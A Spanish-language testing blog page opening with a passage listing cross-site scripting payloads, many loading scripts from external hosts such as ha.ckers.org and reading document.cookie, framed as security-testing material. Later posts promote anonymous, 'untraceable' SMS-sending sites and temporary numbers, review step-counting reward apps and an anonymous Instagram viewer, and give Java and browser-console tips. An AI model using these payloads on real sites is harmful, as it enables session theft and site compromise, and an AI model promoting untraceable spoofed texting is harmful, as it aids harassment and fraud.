&#x0003c
&#x00003c
&#x000003c
&#x3c;
&#x03c;
&#x003c;
&#x0003c;
&#x00003c;
&#x000003c;
&#X3c
&#X03c
&#X003c
&#X0003c
&#X00003c
&#X000003c
&#X3c;
&#X03c;
&#X003c;
&#X0003c;
&#X00003c;
&#X000003c;
&#x3C
&#x03C
&#x003C
&#x0003C
&#x00003C
&#x000003C
&#x3C;
&#x03C;
&#x003C;
&#x0003C;
&#x00003C;
&#x000003C;
&#X3C
&#X03C
&#X003C
&#X0003C
&#X00003C
&#X000003C
&#X3C;
&#X03C;
&#X003C;
&#X0003C;
&#X00003C;
&#X000003C;
\x3c
\x3C
\u003c
\u003C
&lt;iframe src=http&#58;//ha&#46;ckers&#46;org/scriptlet&#46;html&gt;
&lt;IMG SRC=\"javascript&#058;alert('XSS')\"
&lt;SCRIPT SRC=//ha&#46;ckers&#46;org/&#46;js&gt;
&lt;SCRIPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js?&lt;B&gt;
&lt;&lt;SCRIPT&gt;alert(\"XSS\");//&lt;&lt;/SCRIPT&gt;
&lt;SCRIPT/SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;BODY onload!#$%&()*~+-_&#46;,&#58;;?@&#91;/|\&#93;^`=alert(\"XSS\")&gt;
&lt;SCRIPT/XSS SRC=\"http&#58;//ha&#46;ckers&#46;org/xss&#46;js\"&gt;&lt;/SCRIPT&gt;
&lt;IMG SRC=\"   javascript&#058;alert('XSS');\"&gt;
perl -e 'print \"&lt;SCR\0IPT&gt;alert(\\"XSS\\")&lt;/SCR\0IPT&gt;\";' &gt; out
perl -e 'print \"&lt;IMG SRC=java\0script&#058;alert(\\"XSS\\")&gt;\";' &gt; out
&lt;IMG SRC=\"jav&#x0D;ascript&#058;alert('XSS');\"&gt;
&lt;IMG SRC=\"jav&#x0A;ascript&#058;alert('XSS');\"&gt;
&lt;IMG SRC=\"jav&#x09;ascript&#058;alert('XSS');\"&gt;
&lt;IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29&gt;
&lt;IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041&gt;
&lt;IMG SRC=javascript&#058;alert('XSS')&gt;
&lt;IMG SRC=javascript&#058;alert(String&#46;fromCharCode(88,83,83))&gt;
&lt;IMG \"\"\"&gt;&lt;SCRIPT&gt;alert(\"XSS\")&lt;/SCRIPT&gt;\"&gt;
&lt;IMG SRC=`javascript&#058;alert(\"RSnake says, 'XSS'\")`&gt;
&lt;IMG SRC=javascript&#058;alert(&quot;XSS&quot;)&gt;
&lt;IMG SRC=JaVaScRiPt&#058;alert('XSS')&gt;
&lt;IMG SRC=javascript&#058;alert('XSS')&gt;
&lt;IMG SRC=\"javascript&#058;alert('XSS');\"&gt;
&lt;SCRIPT SRC=http&#58;//ha&#46;ckers&#46;org/xss&#46;js&gt;&lt;/SCRIPT&gt;
'';!--\"&lt;XSS&gt;=&{()}
';alert(String&#46;fromCharCode(88,83,83))//\';alert(String&#46;fromCharCode(88,83,83))//\";alert(String&#46;fromCharCode(88,83,83))//\\";alert(String&#46;fromCharCode(88,83,83))//--&gt;&lt;/SCRIPT&gt;\"&gt;'&gt;&lt;SCRIPT&gt;alert(String&#46;fromCharCode(88,83,83))&lt;/SCRIPT&gt;
';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//\";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
'';!--"<XSS>=&{()}
<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
<IMG SRC="javascript:alert('XSS');">
<IMG SRC=javascript:alert('XSS')>
<IMG SRC=javascrscriptipt:alert('XSS')>
<IMG SRC=JaVaScRiPt:alert('XSS')>
<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
<IMG SRC=" &#14;  javascript:alert('XSS');">
<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<<SCRIPT>alert("XSS");//<</SCRIPT>
<SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
\";alert('XSS');//
</TITLE><SCRIPT>alert("XSS");</SCRIPT>
¼script¾alert(¢XSS¢)¼/script¾
<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>
<FRAMESET><FRAME SRC="javascript:alert('XSS');"></FRAMESET>
<TABLE BACKGROUND="javascript:alert('XSS')">
<TABLE><TD BACKGROUND="javascript:alert('XSS')">
<DIV STYLE="background-image: url(javascript:alert('XSS'))">
<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
<XSS STYLE="xss:expression(alert('XSS'))">
exp/*<A STYLE='no\xss:noxss("*//*");xss:&#101;x&#x2F;*XSS*//*/*/pression(alert("XSS"))'>
<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
a="get";b="URL(ja\"";c="vascr";d="ipt:ale";e="rt('XSS');\")";eval(a+b+c+d+e);
<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>
<HTML><BODY><?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time"><?import namespace="t" implementation="#default#time2"><t:set attributeName="innerHTML" to="XSS&lt;SCRIPT DEFER&gt;alert(&quot;XSS&quot;)&lt;/SCRIPT&gt;"></BODY></HTML>
<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>
<form id="test" /><button form="test" formaction="javascript:alert(123)">TESTHTML5FORMACTION
<form><button formaction="javascript:alert(123)">crosssitespt
<frameset onload=alert(123)>
<!--<img src="--><img src=x onerror=alert(123)//">
<style><img src="</style><img src=x onerror=alert(123)//">
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<embed src="javascript:alert(1)">
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">
<script>({0:#0=alert/#0#/#0#(123)})</script>
<script>ReferenceError.prototype.__defineGetter__('name', function(){alert(123)}),x</script>
<script>Object.__noSuchMethod__ = Function,[{}][0].constructor._('alert(1)')()</script>
<script src="#">{alert(1)}</script>;1
<script>crypto.generateCRMFRequest('CN=0',0,0,null,'alert(1)',384,null,'rsa-dual-use')</script>
<svg xmlns="#"><script>alert(1)</script></svg>
<svg onload="javascript:alert(123)" xmlns="#"></svg>
<iframe xmlns="#" src="javascript:alert(1)"></iframe>
+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-
%2BADw-script+AD4-alert(document.location)%2BADw-/script%2BAD4-
+ACIAPgA8-script+AD4-alert(document.location)+ADw-/script+AD4APAAi-
%2BACIAPgA8-script%2BAD4-alert%28document.location%29%2BADw-%2Fscript%2BAD4APAAi-
%253cscript%253ealert(document.cookie)%253c/script%253e
"><s"%2b"cript>alert(document.cookie)</script>
"><ScRiPt>alert(document.cookie)</script>
"><<script>alert(document.cookie);//<</script>
foo<script>alert(document.cookie)</script>
<scr<script>ipt>alert(document.cookie)</scr</script>ipt>
%22/%3E%3CBODY%20onload='document.write(%22%3Cs%22%2b%22cript%20src=http://my.box.com/xss.js%3E%3C/script%3E%22)'%3E
'; alert(document.cookie); var foo='
foo\'; alert(document.cookie);//';
</script><script >alert(document.cookie)</script>
<img src=asdf onerror=alert(document.cookie)>
<BODY ONLOAD=alert('XSS')>
<script>alert(1)</script>
"><script>alert(String.fromCharCode(66, 108, 65, 99, 75, 73, 99, 101))</script>
<video src=1 onerror=alert(1)>
<audio src=1 onerror=alert(1)>


Algunas listas mas ordenadas:

https://github.com/payloadbox/xss-payload-list


Conclusión

Las pruebas de seguridad de XSS son críticas para evitar ataques maliciosos. Un tester debe asegurarse de que la aplicación maneje adecuadamente las entradas de usuario, proteja los datos y evite ejecuciones no deseadas.


Fuentes:

https://underc0de.org/foro/hacking/lista-de-webs-para-practicar-sql-y-xss/

https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/01-Testing_for_Reflected_Cross_Site_Scripting

https://www.browserstack.com/guide/xss-testing

Gana dinero mientras caminas: Walk City y WalkTask, las apps que te pagan por moverte

Buenas tardes lectores.

Quizás este post se salga un poco del molde inicial del blog y también el demolde que vengo trabajando en los últimos meses, sin embargo, puede que a alguno le sirva lo que voy a mencionar en esta entrada.

La actividad física es un hábito indispensable para la salud, aplicaciones como Walk City y WalkTask han revolucionado la manera en que caminamos, ofreciendo incentivos económicos por cada paso que damos. En este artículo, exploraremos cómo funcionan estas plataformas, sus ventajas y desventajas, y si realmente vale la pena el esfuerzo.


¿Cómo funcionan Walk City y WalkTask?

Estas aplicaciones recompensan a los usuarios por caminar mediante la acumulación de puntos, que posteriormente pueden ser intercambiados por dinero o premios. Su funcionamiento es sencillo:

Registro y configuración: Tras instalar la aplicación, el usuario debe crear una cuenta y otorgar permisos para acceder a datos como pasos registrados por el móvil.

Acumulación de puntos: Cada paso cuenta y se transforma en créditos dentro de la plataforma.

Canje de recompensas: Una vez alcanzado un umbral mínimo de puntos, estos pueden cambiarse por dinero en PayPal o tarjetas de regalo.


Ventajas de usar Walk City y WalkTask

Motivación para moverse: Son una excelente forma de incentivar a las personas a mantenerse activas.

Dinero extra por un hábito cotidiano: Si ya caminas regularmente, aprovechar estas apps puede ser una forma sencilla de ganar un pequeño ingreso adicional.


Desventajas y aspectos a considerar

Tiempo para obtener recompensas: Usando solo la función de caminar, en mi caso demoré aproximadamente dos meses en ganar solo 5 dólares, lo que puede resultar poco atractivo para quienes buscan ingresos sustanciales.

Dependencia del sensor del teléfono: Si el móvil no registra correctamente los pasos o la app tiene problemas de sincronización, se puede perder progreso, en lo personal ha pasado pocas veces, pero lo solucioné abriendo las aplicaciones antes de irme a caminar.

Límites en el retiro de dinero: Alcanzar montos altos de puntos para realizar un retiro puede desmotivar a muchos usuarios ya que volvamos a lo mismo son 2 meses de estar mirando la aplicación esperando alguna retribución.


¿Vale la pena?

Si disfrutas caminar y buscas una motivación extra, Walk City y WalkTask pueden ser una opción interesante. Sin embargo, si tu intención es generar ingresos sustanciales, es mejor no depender únicamente de ellas. Son más una herramienta de incentivo que una fuente de ingresos real.


Mi experiencia y uso

Hasta el momento he sacado 10 dolares de WalkTask y 5 dolares de Walk City. Esto en un lapso de 4 meses. Cabe anotar que cada aplicación va cambiando en el tiempo, es decir, algunas veces habilitan opciones para ganar puntos más rápido y en otras los quitan.


Te gustó el tip de ganar dinero extra?. Agrega la aplicación e ingresa mi código para ganar juntos:


Links de descarga para Walk city donde hay menos publicidad

✅ Google Play: https://play.google.com/store/apps/details?id=com.walktask.app

✅App Store: https://apps.apple.com/us/app/walktask-walk-work-gets-paid/id6636529552

➡️ Mi código de invitación: N7XNXL

Con este te dan 10 puntos de bono.


Links de descarga para Walktask donde hay algo mas de publicidad

✅Google Play: https://play.google.com/store/apps/details?id=com.fanta.pedometer&referrer=cc%3Dinvite%26code%3DP0R82P

✅App Store: https://download.walkcitygo.com/Fa31POpfsk/index.html?code=P0R82P

➡️Mi código de invitación: P0R82P

Con este te dan 50 puntos de bono.


¿Has probado alguna de estas aplicaciones? ¡Déjanos tu experiencia en los comentarios!


Saludos.

domingo, 27 de abril de 2025

Envio de SMS gratuitos

Buenas lectores.

Estas son plataformas dedicadas para emitir SMS´s (Ud. es el emisor del mensaje):


SMS Gang

Uno de los mejores sitios de mensajes privados es SMS Gang, que está en la parte superior de la lista porque puede averiguar dónde estás al instante y te permite enviar un SMS desconocido a cualquier código PIN. Para enviar un mensaje, debes ingresar tu nombre, el número de teléfono del destinatario y tu mensaje. Haz clic en el botón "Enviar SMS" y tu mensaje se enviará de inmediato.


SeaSms

Con SeaSms, no tienes que registrarte y puedes enviar mensajes de texto a más de 250 países sin que te rastreen. También puedes compartir archivos, películas y fotos. De hecho, si añades un archivo Excel y cambias los campos, puedes enviar muchos correos electrónicos por tan solo 20 dólares. Uno de los beneficios es que puedes enviar SMS y MMS a muchos números de teléfono diferentes. Lo mejor es que los registros de entrega se pueden utilizar para encontrar mensajes que se enviaron de forma anónima.


Sharpmail

Sharpmail también es uno de los mejores sitios web porque te permite enviar mensajes de texto falsos y cubre todos los servicios de SMS del mundo. Puedes mantener tu libreta de direcciones actualizada en el sitio web, que también tiene una bandeja de salida de SMS donde puedes almacenar tus registros y registros de mensajes. Sin embargo, si quieres utilizar Sharpmail, primero tienes que registrarte en el sitio y luego utilizar sus servicios gratuitos.


También puedes enviar SMS Unicode con este servicio. Además, puedes enviar SMS a números de otros países de inmediato. Otros beneficios son crear tu propio número de teléfono falso y enviar mensajes de texto sin ser rastreado. Para enviar un mensaje SMS anónimo, puedes escribir hasta 160 caracteres.


Anonymous Text

Hay muchas personas en los EE. UU. que usan Anonymous Text, un servicio de mensajes de texto anónimos que se centra en la privacidad. Es extremadamente conveniente enviar mensajes de texto a través de este sitio web de mensajes anónimos. Una vez que envías un mensaje, puedes rastrear a dónde va. Puedes enviar mensajes de texto a cualquier persona en el mundo sin tener que registrarte.

Sin embargo, no olvides incluir el código de país si quieres que tu mensaje se envíe de inmediato. La interfaz de usuario del sitio es muy fácil de usar y muy simple. Puedes establecer una hora y fecha para enviar mensajes. Además, puedes enviar tantos mensajes de texto como quieras, con o sin emojis.


ArmSMS

ArmSMS es otra forma sencilla y privada de enviar mensajes de texto. Puedes compartir tu número de teléfono con el sitio web ArmSMS y enviar un SMS a cualquier número. ArmSMS te permite enviar mensajes de texto de hasta 160 caracteres, codificados en latín o Unicode. Puedes elegir entre una lista de mensajes y grupos, como amistad, divertidos, amor, Navidad y Año Nuevo.


TxtDrop

TxtDrop es el último sitio web secreto de mensajes anónimos para personas que quieren algo gratis. Las personas en los EE. UU. y Canadá pueden enviar mensajes de texto en el sitio, y tus palabras llegan a la otra persona rápidamente. Para enviar un mensaje, solo tienes que escribir tu dirección de correo electrónico, el número de teléfono móvil de la persona a la que quieres enviar el mensaje y tu mensaje.

No tienes que registrarte para utilizar el sitio y, además, es gratuito. Además, tiene un diseño sencillo que promete un uso rápido.


Text'em

Text'em puede ser la mejor aplicación para ti si quieres enviar a tu amigo una cantidad ilimitada de mensajes de broma. Para empezar a enviar mensajes de texto sin que te rastreen, puedes elegir un servicio de red en los Estados Unidos. Otra gran característica es que puedes detener los números si recibes mensajes de texto no deseados.

No hay ninguna limitación relacionada con la cantidad de caracteres o palabras. Además, la interfaz es sencilla y apta para principiantes. Sin embargo, esta aplicación solo funciona en los EE. UU. No olvides que necesitas saber e identificar el operador de telefonía móvil de la persona a la que quieres enviar un SMS anónimo.


SMSflick

Otro sitio web de mensajes anónimos de esta lista es SMSflick. Es una aplicación de mensajes de texto gratuita y fácil de usar que te permite enviar un mensaje de texto sin revelar tu nombre o identidad. Puedes enviar mensajes de texto a cualquier número de teléfono del mundo de forma gratuita y sin dar tu nombre. Sin embargo, tienes que registrarte para obtener una cuenta premium antes de poder usar su servicio de mensajes de texto grupales. Esto es lo único malo de esta página.


Fuente:

https://underc0de.org/foro/hacking/verificaciones-por-sms-gratuitas-numeros-de-moviles-virtuales-parte-2/

Recibir mensajes en números temporales

Buenas lectores.

Hay ocaciones que necesitamos validar que nuestros componentes envién mensajes a los movíles, en este caso hay una lista de servicios gratis/pagos que puedes tener en cuenta para tus pruebas: 


Receive an SMS: https://receive-a-sms.com

SMS Receive free: https://smsreceivefree.com

Online SMS: https://sms-online.co

Receive SMS online: https://smsreceiveonline.com

Get a free SMS number: https://getfreesmsnumber.com

Receive SMS: http://sms-receive.net

Receive SMS Online.NET: https://www.receivesmsonline.net

Free SMS checks: www.freesmsverifications.com

7 SIM.NET: http://7sim.net

HS3X: http://hs3x.com

Receive free SMS: http://receivefreesms.com

Receive free SMS.NET: http://receivefreesms.net

Receive SMS Online.IN: http://receivesmsonline.in

Receive SMS online: https://receive-sms-online.com

See SMS: https://www.smsver.com

Groovl: https://www.groovl.com

SMS.SELLAITE: http://sms.sellaite.com

Send SMS now: http://www.sendsmsnow.com

Receive SMS online.EU: http://receivesmsonline.eu

Proovl
: https://www.proovl.com/numbers

Anon SMS: https://anon-sms.com

Hide my numbers: http://hidemynumbers.com

Pinger: https://www.pinger.com

Free online phone: https://www.freeonlinephone.org

5SIM: https://5sim.net

Capture SMS: https://catchsms.com

SMS Get: http://smsget.net

1S2U: https://1s2u.com

Receive SMS: http://getsms.org

Vritty: https://virtty.com

Text anywhere: http://www.textanywhere.net

Receive SMS online.ME: http://receivesmsonline.me

Temporary emails: https://www.temp-mails.com

Purchase virtual number: http://www.virtualnumberbuy.com

Free Receive SMS online: http://freereceivesmsonline.com

NDTAN SMS: https://sms.ndtan.net

SMS Listen: https://smslisten.com

Free virtual SMS number: https://freevirtualsmsnumber.com

SMS Tibo
: https://smstibo.com

Receive SMS number: https://receivesmsnumber.com

Free SMS code: https://freesmscode.com

Online SMS numbers: https://smsnumbersonline.com

SMS reception: https://smsreceiving.com

Trash Mobile: https://es.mytrashmobile.com/nu

SMS MAN: https://sms-man.com/

SMS Pool: https://www.smspool.net/


Tener en cuenta que los números son compartidos (no privados y perecederos).

Fuente:

https://underc0de.org/foro/hacking/verificaciones-por-sms-gratuitas-_-numeros-de-moviles-virtuales-parte-1/

domingo, 20 de abril de 2025

Explorando Inflact Instagram Viewer: Ver perfiles de instagram de manera anonima

Buenas lectores.

Este servicio permite a los usuarios visualizar perfiles públicos de Instagram de manera anónima, sin necesidad de iniciar sesión o revelar información personal. A continuación, exploraremos las características de su versión gratuita y las ventajas de su versión Pro, destacando su utilidad en el ámbito de la seguridad informática.

Practicidad de la Versión Gratuita

La versión gratuita de Inflact Instagram Viewer ofrece funcionalidades básicas pero efectivas:

  • Visualización Anónima: Permite explorar perfiles públicos sin dejar rastro, lo que es ideal para quienes desean mantener su privacidad.

  • Acceso Sin Cuenta: No es necesario tener una cuenta de Instagram para usar esta herramienta, lo que reduce riesgos de exposición.

  • Límites Diarios: Aunque tiene restricciones (como un límite de visualización de un perfil y cinco contenidos por día), es suficiente para usuarios ocasionales.

Esta versión es especialmente útil para profesionales de seguridad informática que necesitan analizar perfiles públicos sin comprometer su identidad o la de su organización.

Ventajas de la Versión Pro

Para quienes buscan capacidades avanzadas, la versión Pro de Inflact ofrece:

  • Visualización Ilimitada: Acceso sin restricciones a perfiles y contenidos públicos.

  • Descargas de Contenido: Posibilidad de guardar historias, publicaciones y otros elementos para análisis detallados.

  • Seguimiento y Análisis: Herramientas para rastrear seguidores, comentarios y me gusta, lo que puede ser crucial en investigaciones de seguridad.

  • Uso Multi-dispositivo: Acceso desde cualquier dispositivo, facilitando el trabajo remoto.

Por un costo mensual accesible, la versión Pro amplía significativamente las posibilidades de análisis y monitoreo, convirtiéndose en una herramienta indispensable para expertos en ciberseguridad.

Aplicaciones en Seguridad Informática

Inflact Instagram Viewer es particularmente relevante en el ámbito de la seguridad informática por varias razones:

  1. Análisis de Riesgos: Permite evaluar perfiles públicos para identificar posibles amenazas o actividades sospechosas.

  2. Protección de Identidad: Al operar de manera anónima, protege la identidad del usuario, lo que es esencial en investigaciones sensibles.

  3. Cumplimiento Ético: Al limitarse a contenido público, respeta las políticas de privacidad y evita violaciones éticas.

En resumen, Inflact Instagram Viewer combina practicidad y funcionalidad, ofreciendo soluciones tanto para usuarios casuales como para profesionales de la seguridad informática. Su capacidad para operar de manera anónima y su enfoque en la privacidad lo convierten en una herramienta valiosa en un mundo donde la seguridad digital es más importante que nunca. ¿Ya has probado alguna de sus versiones? ¡Comparte tu experiencia!


Link:

https://inflact.com/instagram-viewer/profile/

miércoles, 16 de abril de 2025

Como mejorar tu Thread.sleep en java y así evitar deuda técnica

Buenas lectores.

Vamos a dividir la espera de tiempo según la patron que estemos manejando: 


SIN PATRONES:

Podemos encontrar frecuentemente la línea

Thread.sleep(2000);

Esto hace que el robot espere 2 segundos. Es muy util cuando no tenemos objetos referencias como por ejemplo, esperar una carga de archivos que no tiene mensaje de confirmación, un refresco de un iframe para evitar que arroje errores de estados entre otros. Sin embargo, cuando pasamos el sonar nos arroja la siguiente deuda técnica:

"Thread.sleep" should not be used in tests

Si eres de las personas que no les gusta la deuda técnica o simplemente estas por mejorar tu código, aquí te mostraré como lo puedes hacer




POM (Page Object Model):

En POM es facil implementar una espera sin deuda técnica, en este caso vamos a usar Awaitility


import org.awaitility.Awaitility;

import org.awaitility.Durations;


Awaitility.await().pollDelay(Durations.TWO_SECONDS).until(() -> true);

Con esto hemos logrado mejorar el código y evitar la deuda técnica.


Cabe anotar que el pull máximo es de 1 minuto, si queremos superar ese tiempo la sentencia cambia a la siguiente forma:

Awaitility.await().atMost(2, TimeUnit.MINUTES).pollDelay(1, TimeUnit.MINUTES).until(() -> true);



Para tiempos mayores a 5 minutos se debe usar:

 Awaitility.await().with().pollInterval(Durations.ONE_SECOND).await().atMost(Durations.TEN_SECONDS).until(myFunction());


Screenplay:

En Screenplay debemos mantener el patron usando task para nuestro actor, para convertir la línea anterior a una task se hace lo siguiente:

actor.attemptsTo(Task.where("waiting for route destine selector",

a -> Awaitility.await().pollDelay(Durations.ONE_SECOND)

.until(() -> true))

);


Cabe anotar que si necesitas reutilizarla mejor la creas como una task independiente y la invocas.



Cordial saludo



Fuentes:
https://automatizaciondefuncionales.blogspot.com/2023/03/cambiar-el-threadsleep-para-no-tener.html

martes, 15 de abril de 2025

Imprimir el texto de un elemento desde la consola de chrome (chromedevtools)

 Buenas lectores.

En ocasiones nos encontramos con la necesidad de validar si el texto que tiene un elemento es precisamente el texto que vamos a usar en nuestros asserts. También puede suceder que tengamos varios elementos concatenados y que queramos validar cual es el elemento del texto que necesitamos en nuestra automatización, para esto podemos imprimir el texto desde el mismo navegador sin necesidad de estar ejecutando una automatización.


Para ello vamos realizar lo siguiente:

var elements = document.getElementsByTagName("blockquote");

for (var prop in elements)
{
  if(elements.hasOwnProperty(prop)) {
    console.log(elements[prop].innerHTML);
  }
}
Simplemente cambia el tagName por el que necesites. Cabe anotar que en la segunda referencia pueden revisar otras sentencias para buscar elementos.



Fuentes:

https://automatizaciondefuncionales.blogspot.com/2023/03/imprimir-el-texto-de-un-elemento-desde.html